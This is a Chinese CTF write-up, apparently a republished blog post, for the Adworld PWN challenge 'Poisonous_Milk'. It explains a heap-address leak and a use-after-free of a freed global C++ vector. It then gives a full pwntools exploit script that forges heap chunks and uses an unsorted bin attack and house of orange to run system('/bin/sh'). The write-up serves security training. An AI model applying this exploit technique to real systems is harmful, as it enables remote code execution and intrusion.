攻防世界PWN之Poisonous_Milk(认清vector的结构+house of orange利用)

2023-11-10 06:59

本文主要是介绍攻防世界PWN之Poisonous_Milk(认清vector的结构+house of orange利用),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Poisonous_Milk

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下,发现是c++写的程序,看起来复杂了很多,这些一大堆,作用只是打印菜单,那么我们把这个函数重命名为menu。

接下来,我们进入下一个函数查看,应该就是主功能区了。

为了便于分析,我们给函数重命名了

创建内容的函数里,最多输入86个字符

实际上只能输入85个字符,并且最后一个会被设置为0

接下来,是创建结构体

经过分析,这个结构体这样的

  1. typedef struct milk {  
  2.    char *color;  
  3.    char *content;  
  4. }  

但是,这里初始color时,存在一个漏洞

如果我们输入的color不存在,那么结构体里的color指针就不会初始化,它的值就是其他的值。如果把这个结构体释放后再重新申请回来,如果color不存在,那么color指针就会保存着堆地址。因为这个位置正好对应fastbin的fd。这样,我们就可以泄露堆地址。

现在,我们要弄清楚这个qword_203160到底是什么?

我们发现这个函数极其复杂

先放着,继续分析。

推测这玩意儿,应该是一个vector。我们来看看c++的vector的结构

  1. template<class _Ty,  
  2.     class _Ax>  
  3.     class vector  
  4.         : public _Vector_val<_Ty, _Ax>  
  5.     {   // varying size array of values  
  6. public:  
  7.     /********/  
  8. protected:  
  9.     pointer _Myfirst;   // pointer to beginning of array  
  10.     pointer _Mylast;    // pointer to current end of sequence  
  11.     pointer _Myend; // pointer to end of array  
  12.     };  

那么,我们现在可以确定,这个qword_203160就是一个vector了

  1. typedef struct vector {  
  2.    void *start;  
  3.    void *end;  
  4.    void *capacity;  
  5. }  

为了方便,我们在IDA里重命名一下,现在我们看的清楚了,那个复杂的函数是vector的扩容操作,不用管。每次新增后,插入到end指针的位置,然后end指针向后偏移8字节。

分析后,我们知道了,程序中的存储结构

  1. //存储结构  
  2. vector<milk *> milks;  

然后,我们继续分析,显示功能也没什么漏洞

Delete节点功能,删除一个节点后,vector的end指针做了相应的调整,那么end没有指向释放后的指针,虽然没有清空指针,也用不了UAF。

然后,我们看释放所有节点,以及vector对象本身的函数

注意到,释放vector后,没有把vector指针清零,又因为vector指针是放在bss段,是一个全局变量,其他函数可以使用,这意味着,这个vector本身可以存着UAF漏洞。那么,我们把vector的内存申请回来,就能控制vector里的beginendcapacity三个指针,并且,我们把这些指针指向我们可以控制的区域,然后在可以控制的区域,布置下我们需要读写的地址,这样,我们就能实现任意地址读写操作。但是由于本程序没有edit功能,也就没有写,但是,我们可以伪造chunk,实现任意的free操作。从而利用。

 

那么,我们就开始攻击吧,首先泄露堆地址

  1. #创建一个0x20的头结构体加0x20的存储flags的堆,这样,两个堆释放和属于同一个fastbin,并且头结构体作为头,因为后释放  
  2. create('a'*(0x10-1))  
  3. delete(0)  
  4. #接下来重新申请堆,之前的节点结构体内保存着指针,由于flags堆先申请,所以我们不能申请和之前大小一样的  
  5. #因为我们要让我们这个节点的结构体申请到前一个释放后的节点的结构体内存位置处  
  6. create('b'*0x40)  
  7. #泄露堆地址  
  8. show()  

由于创建时,大小受限制,我们创建不了unsorted bin访问的chunk,因此,我们需要来伪造unsorted bin chunk,然后利用控制vector的begin、end指针,在可控区域布下一个指针指向我们伪造的节点。

  1. #释放了所有的堆,以及vector对象本身  
  2. drink()  
  3. #重新申请到了vector的内存空间,UAF控制vectorbeginend指针  
  4. create(p64(heap_base + 0xE50) + p64(heap_base + 0xE58))  
  5. #这里是用来创建0x20大小的堆,放入fastbin,给以后申请用,这样申请节点结构体时,就不会从我们辛苦得到的unsorted bin里切割  
  6. for i in range(2):  
  7.    create('g'*0x9) #index 2~3  
  8. for i in range(3,1,-1):  
  9.    delete(i)  

需要注意的一点是,我们提前创建了2个content大小为0x20的节点,然后释放,也就是说,在0x20fastbin里有四个chunk,可以提供给后面的申请使用。并且我们是先drink释放了vector,然后才创建的。而不能先创建再drink,因为drink里面,会将我们放到0x20 fastbin的chunk给用掉(调试的时候发现)。之所以在前面先弄几个0x20的fastbin,一方面,是为了缩短contentcontent之间的间隙,方便我们控制,因为如果不这样,节点milk结构体会夹在content与content之间,不方便我们后面的控制。另一方面,是避免申请堆时,从我们辛苦得到的unsorted bin里切割。

上面第二句代码,我们控制了vector的begin和end指针,但是为了不保证出错,我们要确保create时,这个expand扩容操作,不要超过我们begin指针指向的那个位置所属堆的大小,不然扩容到后面的区域我们不可控。导致show的时候出错,因为后面可能有无效地址。

比如我们的begin指针指向了heap_base+0xE50处,而heap_base+0xE50是我们待会申请的某个堆的地址,这个堆,我们最大申请0x60字节,最多写入85个字节,也就是我们最多可以在此处放8个节点指针。扩容超出后,后面的内容我们控制不了,这样show时会导致出错。

这意味着,接下来的操作,我们在没有delete堆前的create操作,最多8次。这完全够用了。

  1. #==============为了得到unsorted binchunk,我们伪造三个chunk===========  
  2. #伪造节点结构体  
  3. payload = p64(0) + p64(0x21)  
  4. #color_ptr          #flags_ptr  
  5. payload += p64(0) + p64(heap_base+0xCD0)  
  6. #伪造flags  
  7. payload += p64(0) + p64(0x101)  
  8. payload = payload.ljust(0x40,'a')  
  9. create(payload) #index2  
  10.   
  11. payload = 'b'*0x30  
  12. payload += p64(0) + p64(0x31)  
  13. payload = payload.ljust(0x50,'b')  
  14. create(payload) #index3  
  15. #payload = 'c'*0x10  
  16. #在后面继续伪造两个堆,绕过堆检查  
  17. payload = p64(0) + p64(0x21)  
  18. payload += 'c'*0x10  
  19. payload += p64(0) + p64(0x31)  
  20. payload = payload.ljust(0x50,'c')  
  21. create(payload) #2  

现在堆伪造好了,我们要释放它,之前我们控制vector的begin指针heap_base+0xE50

因此,我们在heap_base+0xE50放置伪造的节点的地址。当然,还要把其他申请过的节点的地址放过来,这样,我们后续才能继续控制。

而通过精心布局,我们接下来申请一个堆,地址就找heap_base+0xE50处,我们就在这里写入几个节点的地址。

  1. #==================================================================  
  2. #这个堆,我们用来伪造vector的每一项的指针item*,通过控制item*指针,我们就对对需要的节点进行操作  
  3. #伪造item指针  
  4. #0  
  5. payload = p64(heap_base+0xCB0) #fake_chunk node  
  6. #1  
  7. payload += p64(heap_base+0xCB0) #fake_chunk node  
  8. #2  
  9. payload += p64(heap_base+0xC60) #aaaaaaaaaa node  
  10. payload += p64(heap_base+0xD10)   #bbbbbbbbb node  
  11. payload += p64(heap_base+0xD70)   #ccccccccc node  
  12. payload += p64(heap_base+0xD10)   #  
  13. payload += p64(heap_base+0xD70)     #  
  14. payload = payload.ljust(0x50,'c')  
  15. create(payload) #5  

我们在0和1处放置了一模一样的的fake_chunk地址,这样第一次我们delete(0)后,后面的内容上移动,那么我们继续show(0),显示的还是fake_chunk处的内容,这样,我们就能实现UAF。

接下来重点来了

  1. #fastbin与我们伪造生成的unsorted bin重合!!  
  2. delete(3)  
  3. delete(2)  
  4. delete(1)  

我们来看看bins的布局

因为fastbin和unsorted bin里有重合,我们将fastbin的几个chunk申请回来,就能控制unsorted bin里面的内容。这样,我们就能利用house of orange思想来getshell。并且,上面有好几个0x20的bins,用于提供给Milk结构体,而不会从unsorted bin里切割。

  1. #house of orange  
  2. #fake分成2部分,写入  
  3. #执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串  
  4. fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针  
  5. #unsorted bin attack,修改_IO_list_allmain_arena+88  
  6. fake_file += p64(0) + p64(_IO_list_all_addr-0x10)  
  7. #_IO_write_base < _IO_write_ptr  
  8. #fake_file += p64(0) + p64(1)  
  9. payload = 'a'*0x20 + fake_file  
  10. create(payload.ljust(0x40,'\x00'))  
  11. #第二部分  
  12. ##vtable指针,同时,也作为fake_vtable__dummy  
  13. fake_file = p64(0) + p64(heap_base + 0xD98)  
  14. #__dummy2__finish  
  15. fake_file += p64(0)*2  
  16. #__overflow  
  17. fake_file += p64(system_addr)  
  18. create(fake_file.ljust(0x50,'\x00'))  
  19.   
  20. #getshell  
  21. sh.sendlineafter('>','p')  
  22. sh.sendlineafter('Input your flags (0-99):','f'*0x40)  

如果getshell失败,可以多试几次,这是由于栈环境的问题。

综上,我们的exp脚本

#coding:utf8
from pwn import *sh = process('./poisonous_milk')
#sh = remote('111.198.29.45',35825)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']#context.log_level = 'debug'def create(payload):sh.sendlineafter('>','p')sh.sendlineafter('Input your flags (0-99):',payload)sh.sendlineafter("Input your milk's color:","")def delete(index):sh.sendlineafter('>','r')sh.sendlineafter('Give the index :',str(index))def show():sh.sendlineafter('>','v')def drink():sh.sendlineafter('>','d')#创建一个0x20的头结构体加0x20的存储flags的堆,这样,两个堆释放和属于同一个fastbin,并且头结构体作为头,因为后释放
create('a'*(0x10-1))
delete(0)
#接下来重新申请堆,之前的节点结构体内保存着指针,由于flags堆先申请,所以我们不能申请和之前大小一样的
#因为我们要让我们这个节点的结构体申请到前一个释放后的节点的结构体内存位置处
create('b'*0x40)
#泄露堆地址
show()
sh.recvuntil('[0] [')
heap_addr = u64(sh.recvuntil(']',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xC88
print 'heap_base=',hex(heap_base)
#释放了所有的堆,以及vector对象本身
drink()
#重新申请到了vector的内存空间,UAF控制vector的begin和end指针
create(p64(heap_base + 0xE50) + p64(heap_base + 0xE58))
#这里是用来创建0x20大小的堆,放入fastbin,给以后申请用,这样申请节点结构体时,就不会从我们辛苦得到的unsorted bin里切割
for i in range(2):create('g'*0x9) #index 2~3
for i in range(3,1,-1):delete(i)#==============为了得到unsorted bin的chunk,我们伪造三个chunk===========
#伪造节点结构体
payload = p64(0) + p64(0x21)
#color_ptr          #flags_ptr
payload += p64(0) + p64(heap_base+0xCD0)
#伪造flags堆
payload += p64(0) + p64(0x101)
payload = payload.ljust(0x40,'a')
create(payload) #index2payload = 'b'*0x30
payload += p64(0) + p64(0x31)
payload = payload.ljust(0x50,'b')
create(payload) #index3
#payload = 'c'*0x10
#在后面继续伪造两个堆,绕过堆检查
payload = p64(0) + p64(0x21)
payload += 'c'*0x10
payload += p64(0) + p64(0x31)
payload = payload.ljust(0x50,'c')
create(payload) #2
#==================================================================
#这个堆,我们用来伪造vector的每一项的指针item*,通过控制item*指针,我们就对对需要的节点进行操作
#伪造item指针
#0
payload = p64(heap_base+0xCB0) #fake_chunk node
#1
payload += p64(heap_base+0xCB0) #fake_chunk node
#2
payload += p64(heap_base+0xC60) #aaaaaaaaaa node
payload += p64(heap_base+0xD10)   #bbbbbbbbb node
payload += p64(heap_base+0xD70)   #ccccccccc node
payload += p64(heap_base+0xD10)   #
payload += p64(heap_base+0xD70)     #
payload = payload.ljust(0x50,'c')
create(payload) #5delete(0)
#泄露main_arena+88地址
show()
sh.recvuntil(']')
sh.recvuntil('] ')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_sprint 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#fastbin与我们伪造生成的unsorted bin重合!!
delete(3)
delete(2)
delete(1)
'''#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
'''
#house of orange
#fake分成2部分,写入
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
#fake_file += p64(0) + p64(1)
payload = 'a'*0x20 + fake_file
create(payload.ljust(0x40,'\x00'))
#第二部分
##vtable指针,同时,也作为fake_vtable的__dummy
fake_file = p64(0) + p64(heap_base + 0xD98)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
create(fake_file.ljust(0x50,'\x00'))#getshell
sh.sendlineafter('>','p')
sh.sendlineafter('Input your flags (0-99):','f'*0x40)sh.interactive()

 

这篇关于攻防世界PWN之Poisonous_Milk(认清vector的结构+house of orange利用)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/381088

相关文章

Python+PyQt5实现文件夹结构映射工具

《Python+PyQt5实现文件夹结构映射工具》在日常工作中,我们经常需要对文件夹结构进行复制和备份,本文将带来一款基于PyQt5开发的文件夹结构映射工具,感兴趣的小伙伴可以跟随小编一起学习一下... 目录概述功能亮点展示效果软件使用步骤代码解析1. 主窗口设计(FolderCopyApp)2. 拖拽路径

C++ vector的常见用法超详细讲解

《C++vector的常见用法超详细讲解》:本文主要介绍C++vector的常见用法,包括C++中vector容器的定义、初始化方法、访问元素、常用函数及其时间复杂度,通过代码介绍的非常详细,... 目录1、vector的定义2、vector常用初始化方法1、使编程用花括号直接赋值2、使用圆括号赋值3、ve

使用Java实现通用树形结构构建工具类

《使用Java实现通用树形结构构建工具类》这篇文章主要为大家详细介绍了如何使用Java实现通用树形结构构建工具类,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录完整代码一、设计思想与核心功能二、核心实现原理1. 数据结构准备阶段2. 循环依赖检测算法3. 树形结构构建4. 搜索子

利用Python开发Markdown表格结构转换为Excel工具

《利用Python开发Markdown表格结构转换为Excel工具》在数据管理和文档编写过程中,我们经常使用Markdown来记录表格数据,但它没有Excel使用方便,所以本文将使用Python编写一... 目录1.完整代码2. 项目概述3. 代码解析3.1 依赖库3.2 GUI 设计3.3 解析 Mark

C++ Primer 标准库vector示例详解

《C++Primer标准库vector示例详解》该文章主要介绍了C++标准库中的vector类型,包括其定义、初始化、成员函数以及常见操作,文章详细解释了如何使用vector来存储和操作对象集合,... 目录3.3标准库Vector定义和初始化vector对象通列表初始化vector对象创建指定数量的元素值

mysql通过frm和ibd文件恢复表_mysql5.7根据.frm和.ibd文件恢复表结构和数据

《mysql通过frm和ibd文件恢复表_mysql5.7根据.frm和.ibd文件恢复表结构和数据》文章主要介绍了如何从.frm和.ibd文件恢复MySQLInnoDB表结构和数据,需要的朋友可以参... 目录一、恢复表结构二、恢复表数据补充方法一、恢复表结构(从 .frm 文件)方法 1:使用 mysq

Python中顺序结构和循环结构示例代码

《Python中顺序结构和循环结构示例代码》:本文主要介绍Python中的条件语句和循环语句,条件语句用于根据条件执行不同的代码块,循环语句用于重复执行一段代码,文章还详细说明了range函数的使... 目录一、条件语句(1)条件语句的定义(2)条件语句的语法(a)单分支 if(b)双分支 if-else(

使用Navicat工具比对两个数据库所有表结构的差异案例详解

《使用Navicat工具比对两个数据库所有表结构的差异案例详解》:本文主要介绍如何使用Navicat工具对比两个数据库test_old和test_new,并生成相应的DDLSQL语句,以便将te... 目录概要案例一、如图两个数据库test_old和test_new进行比较:二、开始比较总结概要公司存在多

C++中使用vector存储并遍历数据的基本步骤

《C++中使用vector存储并遍历数据的基本步骤》C++标准模板库(STL)提供了多种容器类型,包括顺序容器、关联容器、无序关联容器和容器适配器,每种容器都有其特定的用途和特性,:本文主要介绍C... 目录(1)容器及简要描述‌php顺序容器‌‌关联容器‌‌无序关联容器‌(基于哈希表):‌容器适配器‌:(

Java中switch-case结构的使用方法举例详解

《Java中switch-case结构的使用方法举例详解》:本文主要介绍Java中switch-case结构使用的相关资料,switch-case结构是Java中处理多个分支条件的一种有效方式,它... 目录前言一、switch-case结构的基本语法二、使用示例三、注意事项四、总结前言对于Java初学者